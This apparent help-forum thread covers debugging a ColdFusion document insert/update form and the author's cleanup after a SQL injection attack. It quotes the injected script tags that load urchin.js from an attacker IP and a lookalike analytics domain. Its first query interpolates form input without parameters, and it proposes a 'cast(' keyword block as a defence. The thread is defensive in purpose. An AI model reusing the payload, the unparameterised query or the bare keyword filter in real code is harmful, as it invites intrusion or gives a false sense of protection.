 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = '#Form.DocumentTitle#'
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error, refuse record insert --->
   
	<cfif DocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(ARGUMENTS.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#ARGUMENTS.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>


  
<!--- Add/update Document form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
   <select name="DocumentType" value="#form.DocumentType#" message="Please choose Document Type from the Document Type Select Menu" required="Yes" validateAt="onSubmit,onServer" >            <option value="Report">Report</option>
            <option value="Press Release">Press Release</option>
            <option value="Article">Article</option>
            <option value="Summary">Summary</option>
            <option value="Letter">Letter</option>
            <option value="Audio Transcript">Audio Transcript</option>
            <option value="Text Transcript">Text Transcript</option>
   </select>
            
          
  </td>
 </tr>


 <tr>
  <td>
   <p><strong>Document Author</strong></p>
   <cfinput type="Text"
            name="DocumentAuthor"
            value="#form.DocumentAuthor#"
            message="Enter Document Author Name"
            required="yes"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>

 <tr>
  <td>
   <p><strong>Document Abstract</strong></p>
   <cfoutput>
   <textarea name="DocumentAbstract" cols="40" rows="5" wrap="virtual">#form.DocumentAbstract#</textarea>
   </cfoutput>
  </td>
 </tr>
 
 
 <tr>
  <td>
   <p><strong>Publication Date (use form MM/DD/YYYY)</strong></p>
   <cfinput type="Text"
            name="DocumentPublicationDate"
            value="#form.DocumentPublicationDate#"
            message="Publication Date must be a valid date!"
            required="no"
            validate="date"
            validateAt="onSubmit,onServer"
            size="10"
            maxlength="10" />
  </td>
 </tr>


 <tr>
  <td>
<p>Upload a file: MS Word, MS Excel, PDF, JPEG, GIF, or PNG:</p>

<cfset requestTimeout="5000000" />
  <cfset files = "doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt">
  <cfset destination ="c:\upload\cep-dc.org\">
 <cfset filter ="application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">


 <cfset fileuploaded = true>


<!--- if file were uploaded successfully --->
<cfif fileuploaded>

<div class="bluebox"><strong>File uploaded! Success!</strong></em></div>
 
 <!--- if file were not uploaded --->
  <cfelse>
  
  <div class="redbox"><strong>File did not upload. Make sure to upload only files with extension jpg, jpeg, png, gif, doc, docx, pdf, ppt, xls, xlsx, txt. Use the Browse button, below, to browse your computer or server for a file to upload.</strong></div>
  
  
   </cfif>
 <!--- end cfif fileuploaded --->
  
   
</td>

 </tr>
</table>

<cfinput type="file" size="25" accept="application/msexcel,application/msword,application/pdf,image/gif,image/jpeg,image/x-png" name="FileName" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />


<cfoutput>
  <input name="doSave" type="submit" value="#ButtonText#" class="btn" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'" />
</cfoutput>




</cfform>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />

Open in new window

0
gdemariaCommented:
trying to locate that error, does it have a row number.. can you show the lines of code associated with the error?
0
gdemariaCommented:
> I notice, in the code, that we have <cfif len(variables.error)> twice:

the reason they are two blocks with the CFIF is just because you can place the error display (the second block) in a different place in your code.   It just happens to be next to the first block right now, but if you have other design elements (a menu, header, etc) that you may want ABOVE the error, then the error display would move down in the code further away.   So, its just a matter of where the error is going to display

0
Eric BourlandAuthor Commented:
Here's the error I get. no row number!
scalar.gif
0
gdemariaCommented:
For debugging purposes, you need to completely throw the error so you can get the full info.

here, where you trap it...

  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
  </cfcatch>


You need to then rethrow it so you can see the full details.

Of course, when your users are using this app in production, you never want them to see the coldfusion error so you want to remove this later.

For now add <cfrethrow> like this..


  <cfcatch type="Any">
     <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>


0
Eric BourlandAuthor Commented:
got it will do .... more soon
0
gdemariaCommented:
oh, I found something...  you are using  arguments.  scope in many places.   That was from the CFC.

You need to change arguments to form scope in all places...

ARGUMENTS.   ...  in both insert and update statements...


  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(ARGUMENTS.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(ARGUMENTS.DocumentPublicationDate)#">,

0
Eric BourlandAuthor Commented:
Sorry, had to take a long phone call. I am back to work.

I see! I need to get rid of the ARGUMENTS (though I keep the CFQUERYPARAM).

Working on this.

gdemaria thank you. More soon. EB
0
Eric BourlandAuthor Commented:
OK, I did:

        <cfquery name="UpdateDocument" datasource="#ds#">
             UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
            DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
            DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
          DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
          DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
          DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
            </cfquery>

and

            <cfquery name="InsertDocument" datasource="#ds#">
       INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )        
            </cfquery>
       

I still get the "You have attempted to dereference a scalar variable of type class java.lang.String as a structure with members."

So, next, the CFRETHROW method you recommend. Working on that now.

EB
0
Eric BourlandAuthor Commented:
Aha. With CFRETHROW I get:

 You have attempted to dereference a scalar variable of type class java.lang.String as a structure with members.
 
The error occurred in C:\websites\ebwebwork.com\cep\admin\insert_update.cfm: line 39

37 :    <!--- if DocumentTitle exists, throw error, refuse record insert --->
38 :    
39 :       <cfif DocumentTitle.recordcount GT 0>
40 :          <cfthrow message="The Document Title is already taken; please enter another title">
41 :       </cfif>

So, I went into the database and opened table tbl_CEP_Documents.

Holy moly. Someone hacked into the database. This same hack, from IP 94.102.52.27, affected my MangoBlog installation too.

I need to lock down this page and check my other database tables.

Arrrgh.

More in a while. This is not what I needed right now.
 
hack.gif
0
Eric BourlandAuthor Commented:
Now I am dealing with a SQL injection.

Somewhere, I failed to use CFQUERYPARAM.

More later.

Ugh.
0
Eric BourlandAuthor Commented:
I found an old test folder that contained unsecured, old INSERT files that did not use CFQUERYPARAM. I deleted them. Let's see if that stopped the SQL injection.

Sorry, I have shifted gears.

The SQL injection populated tbl_CEP_documents. That table is clean now. I am going to wait overnight and see if the SQL injection comes back.

Ugh, that was terrible. I just cleaned up or restored many database tables. I rechecked a lot of code to make sure every INSERT, UPDATE, and DELETE statement used CFQUERYPARAM.

I'll check in tomorrow. Thank you again for your help.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

Still working to secure code to prevent SQL Injection attack. I got hit again last night.

This is a difficult time, and a real learning experience for me. I am taking it step by step, and keeping a cool head.

More soon.

Thank you again. I hope you are enjoying the day.

Eric
0
gdemariaCommented:
Sorry to hear about the SQL injection

Regarding your error...

39 :       <cfif DocumentTitle.recordcount GT 0>
40 :          <cfthrow message="The Document Title is already taken; please enter another title">
41 :       </cfif>


On line 39,  documentTitle is not the name of your query, it's the name of your table column.   You need to use your query name with recordCount
0
Eric BourlandAuthor Commented:
Got it.

Still dealing with this SQL injection thing.

I will work on this later tonight.

Thanks again. EB
0
Eric BourlandAuthor Commented:
This worked ... that is, the code below now inserts a record into the database table, tbl_CEP_documents.

Still dealing with this SQL injection thing and will write more later. EB
0
Eric BourlandAuthor Commented:
gdemaria,

The code inserts a record into the database table, tbl_CEP_documents -- that's a success.

However, the SQL injection thing is still going on, and, what happens is, the injection script figures out which column is PK, then deletes all information in the adjacent column, which in the case of  tbl_CEP_documents is DocumentTitle, and populates that column with a call to a server in Amsterdam.

I am still dealing with this SQL injection thing.

I have almost gotten rid of, or cleaned up, all code I've ever written on this server. I have been doing this 16 hours a day for the past three days, meanwhile dealing with other client requests and miscellaneous questions about security and registration.cfm -- with which you have been hugely helpful.

I'll get back to this question soon. Thank you again.

Eric
0
gdemariaCommented:
> what happens is, the injection script figures out which column is PK, then deletes all information in the adjacent column


And this is happening for many tables, not just the documents table?
0
Eric BourlandAuthor Commented:
>>>>And this is happening for many tables, not just the documents table?

Correct. It happens for several tables, but not in all tables in the database.

I'm in a real bind here. How do I stop this SQL injection? I am changing passwords, and going through code line by line.

Incredibly frustrating, and this is happening at a very bad time.
0
gdemariaCommented:
Are you saying more code is being addded?
0
gdemariaCommented:
Please tell me what you know about the SQL injection... what data is it putting in, do you see anything in the logs or errors to indicate the web address it's using..

Perhaps it's a virus on your server
0
Eric BourlandAuthor Commented:
gdemaria,

The SQL Injection attack finds the column that comes after the Primary Key in each table, and then does one of three things:

1. erases that column and populates it with:

2. erases that column and populates it with: </title><script src='http://94.102.52.27/urchin.js'></script>

3. or, as of today, erases that column and populates it with: </title><script src='http://google-ahalytics.com/urchin.js'></script>

This behavior occurs in several tables, but not all tables, in my SQL Server 2005 database called "ebwebwork".

The tables include three tables that I developed:

cedarcreekbusinesssolutions
tbl_CEP_Documents
MamismaRegistration

It also affects the "title" column in the "link" table of each of my three MangoBlog installations:

mamisma_link
tpacu_link
hwaet_link

Again, the the SQL Injection attack finds the column that comes after the Primary Key in each table ... which typically is a column that contains the word "title".

I have gone through every table in my database and erased every instance of the inserted code : </title><script src='http://94.102.52.27/urchin.js'></script>, etc.

Within 12 - 24 hours, the code returns.

This indicates a virus on the database server; a virus on my VPS; or code somewhere on my VPS that has a weakness in it.

I have also been going through every bit of code and adding CFQUERYPARAM to every ColdFusion INSERT, UPDATE, and DELETE statement.

I am going to contact the ISP -- hosting.com -- and ask them about running a virus scan.

I need to go to the doctor's office; will be back ASAP.

Thank you again for any advice. This is a really bad time right now. Lots going on. I am keeping my chin up and working to deal with these problems rationally.

Eric
0
gdemariaCommented:
Eric, put this in your application.cfm file or in your application.cfc file onRequestStart function...

<cfif cgi.query_string contains "cast(">
  <cfabort>
</cfif>
0
Eric BourlandAuthor Commented:
I will do. I need to go down to the doctor for a little while; will return and do this. EB
0
Eric BourlandAuthor Commented:
gdemaria,

I am back from doctor. Thanks for your patience.

Should I place this code in EVERY application.cfc file on my server? (See attached code.)


I heard back from my ISP, hosting.com. They say:

 Hello,

We have anti-virus on the hardware node therefore if you had a virus on the VPS it'd be identified.

It is likely that there is a weakness in your script allowing the injection to take place.  My suggestion is to use SQLInjectionFinder to parse your IIS Logs

http://wsus.codeplex.com/releases/view/13436

This tool will scan your IIS Logs for commonly used injection methodology and output the results into a text file.

You can read about this tool at http://it.toolbox.com/blogs/managing-infosec/cool-tools-sql-injection-finder-program-25425




<!--- set up application --->
<cfset this.name="this">
<cfset this.clientManagement="true">
<cfset this.sessionManagement="true">
<cfset this.setclientcookies="true">
<cfset this.sessiontimeout=CreateTimeSpan(0,0,20,0)>
<cfset this.applicationtimeout=CreateTimeSpan(0,0,60,0)>
<cfset this.clientstorage="cookie">
<cfset this.loginstorage="session">
<cfset this.scriptprotect="all">

<!--- set path to cfform.js --->
<cfparam name="Request.CFFORM_JS_Lib" type="string" default="http://76.12.181.86/CFIDE/scripts/cfform.js" />

<cffunction name="onRequestStart" returnType="any">   

<cfif cgi.query_string contains "cast(">
  <cfabort>
</cfif>
</cffunction>

Open in new window

0
gdemariaCommented:
Yes, it would be put in each application file that would want to protect.  Test it of course first.

That script looks great, I would think you should use it to determine where you leaks are



You don't have anything in your onRequestStart function?
<cffunction name="onRequestStart" returnType="any">   

   <cfif cgi.query_string contains "cast(">
     <cfabort>
   </cfif>
</cffunction>

Open in new window

0
Eric BourlandAuthor Commented:
I will place this script in every application.cfc file on my server.

I am changing all passwords to everything: FTP; SQL Server database; server root login.

I am reviewing all code.

I am drinking my 7th cup of coffee.

What else, besides the following, should I put in my onRequestStartFunction? Do I need anything else? Thus far, my needs for application.cfc are pretty simple.

<cffunction name="onRequestStart" returnType="any">  

   <cfif cgi.query_string contains "cast(">
     <cfabort>
   </cfif>
</cffunction>

0
gdemariaCommented:
> I am changing all passwords to everything: FTP; SQL Server database; server root login.


passwords have nothing to do with SQL injection, you don't need to bother


Run the script and find out where your leaks are, that will reduce your work load a lot


> What else, besides the following, should I put in my onRequestStartFunction


Global variables, for example, where do you put your datasource identification?

<cfset request.datasource = "myDatabase">

You could have it in your onApplicationStart function, that's even better, of course

<cfset application.datasource = "myDatabase">


Also, validation of your logged in user perhaps..

But that is another tangent.  let's get you settled on SQL injection first

0
Eric BourlandAuthor Commented:
I'm on it.
0
Eric BourlandAuthor Commented:
gdemaria,

I have added:

<cffunction name="onRequestStart" returnType="any">  

   <cfif cgi.query_string contains "cast(">
     <cfabort>
   </cfif>
</cffunction>

to each application.cfc in the web root of every web site that uses ColdFusion INSERT, UPDATE, or DELETE SQL statements.

What result will I see from this? From my reading, I know that the "CAST" function is used commonly in SQL injection attacks? Is that correct?

Eric
0
gdemariaCommented:
Yes, that's correct.

You will hopefully block common injection attacks.

To give it a try browse to one of your webpages and add this to the end of the address line...

 &something=CAST(makeAttack)

0
Eric BourlandAuthor Commented:
0
gdemariaCommented:
that's what <CFABORT> does.. yes

It stops all processing, the attack gets stopped before any code can run
0
Eric BourlandAuthor Commented:
We have really drifted from the original purpose of this question. =) Apologies.

I am going to open another question, and ask about the security of a particular update form.

Later on, if you have time, I'm grateful if we can resume talking about tbl_CEP_Documents and tbl_CEP_Files, etc.

Hope you are well.

Eric
0
Eric BourlandAuthor Commented:
gdemaria,

Thanks again for your help with the SQL Injection problem. That was a real headache. I believe the problem is resolved. I am using CFQUERYPARAM everywhere, in all queries that include SQL statements INSERT, UPDATE, DELETE.

The application, insert_update.cfm, is coming along well -- thanks to your patient help.

insert_update.cfm does add records to table tbl_CEP_Documents. And, the SQL Injection no longer happens there.

There is one record in table tbl_CEP_Documents. I added it using the insert_update.cfm page.

Now, I am trying to get that record, from table tbl_CEP_Documents, to show up in the administrative page:

http://ebwebwork.com/cep/admin/

... but the record does not show up. The SELECT query should query the table tbl_CEP_Documents, and populate the columns at http://ebwebwork.com/cep/admin/ ... but this does not happen.

I think the reason that the record does not appear at http://ebwebwork.com/cep/admin/ is, the SELECT query also queries table tbl_CEP_Files ... which we have not yet populated.

What should be my next step? It seems like this query:

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT D.DocumentID
         , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>

.... should display, at http://ebwebwork.com/cep/admin/, the record that is in table tbl_CEP_Documents ... even if table tbl_CEP_Files is empty.

Also, I wanted to ask you ... should I start over with this question? Since we got distracted by the SQL Injection problem? I rely on your guidance here.

Thank you as always. Hope your Friday is going well.

Eric
index.cfm:
<!---
Name:        index.cfm
Author:      Eric Bourland, following Ben Forta code in ColdFusion 8 web application construction kit; gdemaria; azadi
Description: CEP add and update documents control panel
Created:     2/24/2010
--->


 <!--- Set the datasource --->
 <cfset ds="ebwebwork">
 
  <!--- in this query let's select all columns in tables tbl_CEP_documents and tbl_CEP_files to that the variables can be available to the list of documents on http://ebwebwork.com/cep/admin/ --->

  <cfquery datasource="#ds#"
           name="GetDocumentList">
  SELECT D.DocumentID
  	 , D.DocumentTitle
     , D.DocumentType
     , D.DocumentAuthor
     , D.DocumentAbstract
     , D.DocumentPublicationDate
     , D.SSMA_TimeStamp
     , D.DateRecordModified
     , F.DocumentID 
     , F.FileID
     , F.FileName
     , F.FileExtension
     , F.FileType
     , F.FileSize
     , F.isDeleted
FROM tbl_CEP_Documents D
  left join tbl_CEP_files F on F.documentID = D.documentID
  WHERE D.DocumentID = F.DocumentID
  ORDER BY D.DocumentID ASC
  </cfquery>



<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Add Document --->

   <h2>[<a href="insert_update.cfm">Add or Update a Document</a>]</h2>
   
   
<table class="tablecontrolpanel">

<tr><td>DocumentID</td><td>Title</td><td>Edit Document</td><td>Delete Document</td><td>Document Publication Date*</td><td>Date Document Added**</td><td>Date Document Modified***</td>

  
   
    <td>
   Names of all files associated with this record (document files, image files)
   </td>
   
     <td>
   FileIDs associated with those files
   </td>
   
    <td>
   File Extension
   </td>
   
    <td>
   File Type
   </td>
   
    <td>
   File Size
   </td>




</tr>


 <!--- Loop through documents --->
 <cfoutput query="GetDocumentList">
  <tr>
  
   <!--- Document ID --->
   <td>#getDocumentList.DocumentID#</td>
 
  
   <!--- Document name --->
   <td>#getDocumentList.DocumentTitle#</td>
   <!--- Edit --->
   <td>
    [<a href="insert_update.cfm?DocumentID=#getDocumentList.DocumentID#">Edit</a>]
   </td>
   <!--- Delete --->
   <td>
    [<a href="insert_update.cfm?DocumentID=#getDocumentList.DocumentID#" onclick="return confirm('Are you sure that you wish to delete this document? After you delete it it is gone forever.')">Delete</a>]
   </td>
  
   <td>
#GetDocumentList.DocumentPublicationDate#
   </td>

   
   <td>
#GetDocumentList.SSMA_TimeStamp#
   </td>


   <td>
   #GetDocumentList.DateRecordModified#
   </td>
   
    <td>
   #GetDocumentList.FileID#
   </td>
   
    <td>
   #GetDocumentList.FileName#
   </td>
   
    <td>
   #GetDocumentList.FileExtension#
   </td>
   
    <td>
   #GetDocumentList.FileType#
   </td>
   
       <td>
   #GetDocumentList.FileSize#
   </td>



  </tr>
 </cfoutput>
</table>

 <div style="width:70%; margin:20px auto;">* Document Publication Date is a value entered manually by CEP staff, and is the date that the document was published by the organization, CEP. 
 
 <br />
<br />

 
** Date Document Added is the date that the document was added as a record to the database, regardless of publication date.

<br />
<br />


*** Date Record Modified is the date that the document's database record was last modified in the database (variable SSMA_TimeStamp).</div>


<!--- Page footer --->
<cfinclude template="cep_footer.cfm" />



insert_update.cfm:

<!--- Page header --->
<cfinclude template="cep_header.cfm" />

 <!--- Set default value for DocumentID and FileID in scope FORM --->
<cfparam name="form.DocumentID" default="">
<cfparam name="form.FileID" default="">

 <!--- Set datasource --->
 <cfset ds="ebwebwork">

<cfset variables.error = ""> <!---- populate this with an error message ---->


<!--- begin form.doSave to prevent form action processing as soon as page loads; and to validate, insert/update record --->

<cfif IsDefined("FORM.doSave")>


  <cftry>  <!---- begin CFTRY; catch any errors, whether you throw them or the database does ---->
  

    <cfif len(form.DocumentTitle) eq 0>
	  <cfthrow message="Document Title is required">
	</cfif>
    <cfif len(form.DocumentType) eq 0>
	  <cfthrow message="Document Type is required">
	</cfif>

 <!--- in this query select NOTHING from table tbl_CEP_documents, and simply check if DocumentTitle exists --->
 
 <cfquery datasource="#ds#" name="CheckDocumentTitle">
  SELECT 'Nothing' FROM tbl_CEP_Documents
  WHERE DocumentTitle = <CFQUERYPARAM CFSQLTYPE="cf_sql_varchar" VALUE="#Form.DocumentTitle#">
  </cfquery>
   
  
   <!--- if DocumentTitle exists, throw error, refuse record insert --->
   
	<cfif CheckDocumentTitle.recordcount GT 0>
	   <cfthrow message="The Document Title is already taken; please enter another title">
	</cfif>
    
    
   
    <!--- query to update existing document --->
	<cfif val(form.DocumentID)> 
		
                
        <cfquery name="UpdateDocument" datasource="#ds#">
		 UPDATE tbl_CEP_Documents
  SET   DocumentTitle = <cfqueryparam cfsqltype="cf_sql_varchar"  value="#Trim(form.DocumentTitle)#">,
		DocumentType = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
		DocumentAuthor = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
	    DocumentAbstract = <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
	    DocumentPublicationDate = <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
	    DateRecordModified = <cfqueryparam cfsqltype="cf_sql_timestamp" value="#now()#">
  WHERE DocumentID = <cfqueryparam cfsqltype="cf_sql_integer" value="#form.DocumentID#">
		</cfquery>
        
        
        
	<cfelse> 
	
	
	<!---- query to insert new document ---->
        
		<cfquery name="InsertDocument" datasource="#ds#">
	 INSERT INTO tbl_CEP_Documents(DocumentTitle,
                    DocumentType,
                    DocumentAuthor,
                    DocumentAbstract,
                    DocumentPublicationDate,
                    SSMA_TimeStamp)
  VALUES(
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentTitle)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentType)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAuthor)#">,
  <cfqueryparam cfsqltype="cf_sql_varchar" value="#Trim(form.DocumentAbstract)#">,
  <cfqueryparam cfsqltype="cf_sql_date" value="#Trim(form.DocumentPublicationDate)#">,
  CURRENT_TIMESTAMP
         )         
		</cfquery>
        
        


<!--- fetch the identify column's value --->
        
		<cfquery name="GetPkey" datasource="#ds#">
          select SCOPE_IDENTITY( ) as ID
        </cfquery>  
        <cfset form.DocumentID = GetPkey.ID>

    </cfif>
    
     

	
	<!--- everything went ok, go to next page --->
	<cflocation url="#cgi.script_name#?DocumentID=#form.DocumentID#" addtoken="No">

  <!--- use CFTRY and CFCATCH to test that file were uploaded successfully, or not --->
 
  <cffile action="upload" filefield="FileContents" destination="#destination#" nameconflict="overwrite" accept = "application/vnd.ms-word, application/vnd.msword, application/msword, image/jpg, image/jpeg, image/png, image/gif, application/pdf, application/vnd.ms-powerpoint, application/vnd.ms-excel, text/plain">

<cfif listFindNoCase("doc,docx,jpg,jpeg,png,gif,pdf,ppt,xls,xlsx,txt", cffile.serverFileExt) eq 0>
    <cfthrow message="File did not upload; make sure to upload only permitted file types">
</cfif>
  
  <!-- this will trap errors -- the ones you threw or just regular database issues --->
  <cfcatch type="Any">
    <cfset variables.error = cfcatch.message>
     <cfrethrow>
  </cfcatch>

<!--- end CFTRY --->  
</cftry>
  
  

  
</cfif>

<!--- only fetch the data from the database when NO errors.
      if an error, then let the form variables pass back into the form to display ---->
 
  <cfif len(variables.error) eq 0>
    
  <!--- get data and convert to form variables --->
  <cfquery name="getDocumentDetails" datasource="#ds#">
    select * from tbl_CEP_Documents where DocumentID = #val(form.DocumentID)#
  </cfquery>
  <cfloop index="aCol" list="#getDocumentDetails.columnList#">
       <cfset "form.#aCol#" = getDocumentDetails[aCol][getDocumentDetails.currentRow]>
  </cfloop>
    
</cfif>



<cfif len(variables.error)> <!-- if an error, show it --->
 <cfoutput>
 <div style="border: 1px solid red; padding: 5px 10px 5px 10px; width:400px;">#variables.error#</div>
 </cfoutput>
</cfif>



<!----- if record already exists (it will have an ID) then update it; otherwise, add new record... ----->
<cfif val(form.documentID)>
  <cfset FormTitle="Update a Document">
  <cfset ButtonText="Update">
<cfelse>
  <cfset FormTitle="Add a Document">
  <cfset ButtonText="Add Document">
</cfif>


  
<!--- Add/update Document form begins here --->
<cfform method="post">


 <!--- Embed documentID (PK) and fileID as hidden fields --->
 <cfoutput>
<input type="hidden" name="documentID" value="#form.documentID#" />
<input type="hidden" name="fileID" value="#form.fileID#" />
  
 </cfoutput>

   <cfoutput>
<h2>#FormTitle#</h2>
   </cfoutput>


<table class="table_admin">
 <tr>
  <td>
   <p><strong>Document Title</strong></p>
   <cfinput type="Text"
            name="DocumentTitle"
            value="#form.DocumentTitle#"
            message="Document title is required!"
            required="Yes"
            validateAt="onSubmit,onServer"
            size="50"
            maxlength="100" />
  </td>
 </tr>
 <tr>
  <td>
   <p><strong>Document Type</strong></p>
